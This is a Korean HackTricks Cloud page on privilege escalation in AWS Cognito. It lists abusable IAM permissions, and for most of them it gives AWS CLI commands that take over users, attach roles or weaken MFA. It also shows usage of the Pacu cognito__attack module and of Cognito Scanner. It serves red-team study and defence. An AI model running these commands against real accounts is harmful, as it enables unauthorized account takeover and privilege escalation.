AWS - Cognito Privesc
Reading time: 11 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cognito
Cognito에 대한 자세한 정보는 다음을 확인하세요:
Identity Pool에서 자격 증명 수집
Cognito는 인증된 및 비인증된 사용자 모두에게 IAM 역할 자격 증명을 부여할 수 있으므로, 애플리케이션의 Identity Pool ID를 찾으면 (애플리케이션에 하드코딩되어 있어야 함) 새로운 자격 증명을 얻을 수 있으며, 따라서 privesc를 수행할 수 있습니다 (이전에 자격 증명이 없었던 AWS 계정 내에서).
자세한 내용은 이 페이지를 확인하세요.
잠재적 영향: 비인증 사용자에게 연결된 서비스 역할로의 직접적인 privesc (아마도 인증 사용자에게 연결된 역할로도).
cognito-identity:SetIdentityPoolRoles
, iam:PassRole
이 권한을 사용하면 Cognito 앱의 인증된/비인증된 사용자에게 모든 Cognito 역할을 부여할 수 있습니다.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Cognito 앱이 비인증 사용자 사용이 활성화되어 있지 않다면 cognito-identity:UpdateIdentityPool
권한이 필요할 수 있습니다.
잠재적 영향: 모든 Cognito 역할에 대한 직접적인 권한 상승.
cognito-identity:update-identity-pool
이 권한을 가진 공격자는 예를 들어 자신의 제어 하에 있는 Cognito 사용자 풀 또는 로그인할 수 있는 다른 신원 제공자를 설정할 수 있습니다. 그런 다음, 해당 사용자 제공자에서 로그인하면 Identity Pool에 구성된 인증된 역할에 접근할 수 있게 됩니다.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
이 권한을 악용하여 기본 인증을 허용하는 것도 가능합니다:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
잠재적 영향: 아이덴티티 풀 내에서 구성된 인증된 IAM 역할이 손상됩니다.
cognito-idp:AdminAddUserToGroup
이 권한은 Cognito 사용자를 Cognito 그룹에 추가할 수 있도록 허용합니다. 따라서 공격자는 이 권한을 악용하여 자신의 통제 하에 있는 사용자를 더 나은 권한이나 다른 IAM 역할이 있는 다른 그룹에 추가할 수 있습니다.
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
잠재적 영향: 다른 Cognito 그룹 및 사용자 풀 그룹에 연결된 IAM 역할로의 권한 상승.
(cognito-idp:CreateGroup
| cognito-idp:UpdateGroup
), iam:PassRole
이 권한을 가진 공격자는 손상된 Cognito Identity Provider에서 사용할 수 있는 모든 IAM 역할로 그룹을 생성/업데이트하고 손상된 사용자를 그룹의 일원으로 만들어 모든 역할에 접근할 수 있습니다:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
잠재적 영향: 다른 Cognito IAM 역할로의 권한 상승.
cognito-idp:AdminConfirmSignUp
이 권한은 가입을 확인할 수 있게 해줍니다. 기본적으로 누구나 Cognito 애플리케이션에 로그인할 수 있으며, 이를 방치하면 사용자가 임의의 데이터로 계정을 생성하고 이 권한으로 확인할 수 있습니다.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
잠재적 영향: 새로운 사용자를 등록할 수 있는 경우 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 간접적인 권한 상승. 모든 계정을 확인할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
cognito-idp:AdminCreateUser
이 권한은 공격자가 사용자 풀 내에 새로운 사용자를 생성할 수 있도록 허용합니다. 새로운 사용자는 활성화된 상태로 생성되지만 비밀번호를 변경해야 합니다.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
잠재적 영향: 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
cognito-idp:AdminEnableUser
이 권한은 공격자가 비활성화된 사용자의 자격 증명을 발견하고 다시 활성화해야 하는 매우 극단적인 경우에 도움이 될 수 있습니다.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
잠재적 영향: 공격자가 비활성 사용자에 대한 자격 증명을 가지고 있다면 인증된 사용자의 ID 풀 IAM 역할 및 사용자 권한에 대한 간접적인 권한 상승이 발생할 수 있습니다.
cognito-idp:AdminInitiateAuth
, cognito-idp:AdminRespondToAuthChallenge
이 권한은 ADMIN_USER_PASSWORD_AUTH 방법으로 로그인하는 것을 허용합니다. 더 많은 정보는 링크를 따라가세요.
cognito-idp:AdminSetUserPassword
이 권한은 공격자가 모든 사용자의 비밀번호를 변경할 수 있게 하여, MFA가 활성화되지 않은 사용자를 가장할 수 있게 합니다.
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
잠재적 영향: 직접적인 권한 상승으로 인해 잠재적으로 모든 사용자에게 접근할 수 있으며, 각 사용자가 속한 모든 그룹에 대한 접근과 Identity Pool 인증된 IAM 역할에 대한 접근이 가능합니다.
cognito-idp:AdminSetUserSettings
| cognito-idp:SetUserMFAPreference
| cognito-idp:SetUserPoolMfaConfig
| cognito-idp:UpdateUserPool
AdminSetUserSettings: 공격자는 이 권한을 악용하여 자신의 제어 하에 있는 모바일 전화번호를 사용자의 SMS MFA로 설정할 수 있습니다.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: 이전과 유사하게 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: 이전과 유사하게 이 권한은 MFA 보호를 우회하기 위해 사용자 풀의 MFA 기본 설정을 설정하는 데 사용할 수 있습니다.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: 사용자 풀을 업데이트하여 MFA 정책을 변경하는 것도 가능합니다. 여기에서 cli 확인.
Potential Impact: 공격자가 자격 증명을 알고 있는 모든 사용자에게 간접적인 권한 상승이 가능하며, 이는 MFA 보호를 우회할 수 있게 할 수 있습니다.
cognito-idp:AdminUpdateUserAttributes
이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기본 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.
이를 통해 이메일 또는 전화번호를 변경하고 이를 확인된 것으로 설정할 수 있습니다.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
잠재적 영향: 사용자 속성에 따라 권한을 부여하는 Cognito 사용자 풀을 사용하는 기본 애플리케이션에서 잠재적인 간접 권한 상승.
cognito-idp:CreateUserPoolClient
| cognito-idp:UpdateUserPoolClient
이 권한을 가진 공격자는 기존 풀 클라이언트보다 덜 제한된 새로운 사용자 풀 클라이언트를 생성할 수 있습니다. 예를 들어, 새로운 클라이언트는 인증하는 데 어떤 방법이든 허용하고, 비밀이 없으며, 토큰 철회가 비활성화되고, 토큰이 더 긴 기간 동안 유효하도록 허용할 수 있습니다...
새로운 클라이언트를 생성하는 대신 기존 클라이언트를 수정하는 경우에도 동일한 작업을 수행할 수 있습니다.
명령줄 (또는 업데이트)에서 모든 옵션을 확인할 수 있습니다. 확인해 보세요!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
잠재적 영향: User Pool에 의해 사용되는 Identity Pool의 권한 있는 사용자에 대한 잠재적인 간접적인 권한 상승으로, 보안 조치를 완화하는 새로운 클라이언트를 생성하여 공격자가 자신이 생성할 수 있는 사용자로 로그인할 수 있게 합니다.
cognito-idp:CreateUserImportJob
| cognito-idp:StartUserImportJob
공격자는 이 권한을 악용하여 새로운 사용자가 포함된 csv 파일을 업로드하여 사용자를 생성할 수 있습니다.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(새로운 가져오기 작업을 생성하는 경우 iam passrole 권한이 필요할 수 있으며, 아직 테스트하지 않았습니다).
잠재적 영향: 인증된 사용자를 위한 아이덴티티 풀 IAM 역할로의 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 권한 상승.
cognito-idp:CreateIdentityProvider
| cognito-idp:UpdateIdentityProvider
공격자는 새로운 아이덴티티 공급자를 생성하여 이 공급자를 통해 로그인할 수 있습니다.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
잠재적 영향: 인증된 사용자를 위한 ID 풀 IAM 역할에 대한 직접적인 권한 상승. 모든 사용자를 생성할 수 있는 다른 앱 기능에 대한 간접적인 권한 상승.
cognito-sync:* 분석
이는 Cognito Identity Pools의 역할에서 기본적으로 매우 일반적인 권한입니다. 권한에 와일드카드가 있는 것은 항상 나쁘게 보이지만 (특히 AWS에서 오는 경우), 주어진 권한은 공격자의 관점에서 그리 유용하지 않습니다.
이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity ID를 읽을 수 있게 해줍니다 (이는 민감한 정보가 아닙니다).
Identity ID는 세션의 정보인 데이터 세트가 할당될 수 있으며, AWS는 이를 저장된 게임으로 정의합니다. 이 데이터 세트에 어떤 종류의 민감한 정보가 포함될 가능성이 있지만 (확률은 매우 낮습니다), 이 정보를 접근하는 방법은 열거 페이지에서 확인할 수 있습니다.
공격자는 이러한 권한을 사용하여 이 데이터 세트에서 변경 사항을 게시하는 Cognito 스트림에 자신을 등록하거나 Cognito 이벤트에서 트리거되는 Lambda를 사용할 수 있습니다. 나는 이것이 사용되는 것을 본 적이 없으며, 여기서 민감한 정보가 있을 것이라고 기대하지 않지만, 불가능한 것은 아닙니다.
자동 도구
- Pacu, AWS 취약점 탐지 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하는 "cognito__enum" 및 "cognito__attack" 모듈을 포함하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화합니다.
모듈 기능에 대한 설명은 블로그 게시물 2부를 참조하십시오. 설치 지침은 주요 Pacu 페이지를 참조하십시오.
사용법
주어진 ID 풀 및 사용자 풀 클라이언트에 대한 사용자 생성 및 모든 권한 상승 벡터를 시도하기 위한 샘플 cognito__attack 사용법:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
샘플 cognito__enum 사용법으로 현재 AWS 계정에서 볼 수 있는 모든 사용자 풀, 사용자 풀 클라이언트, 아이덴티티 풀, 사용자 등을 수집합니다:
Pacu (new:test) > run cognito__enum
- Cognito Scanner는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다.
설치
$ pip install cognito-scanner
사용법
$ cognito-scanner --help
자세한 내용은 https://github.com/padok-team/cognito-scanner를 확인하세요.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.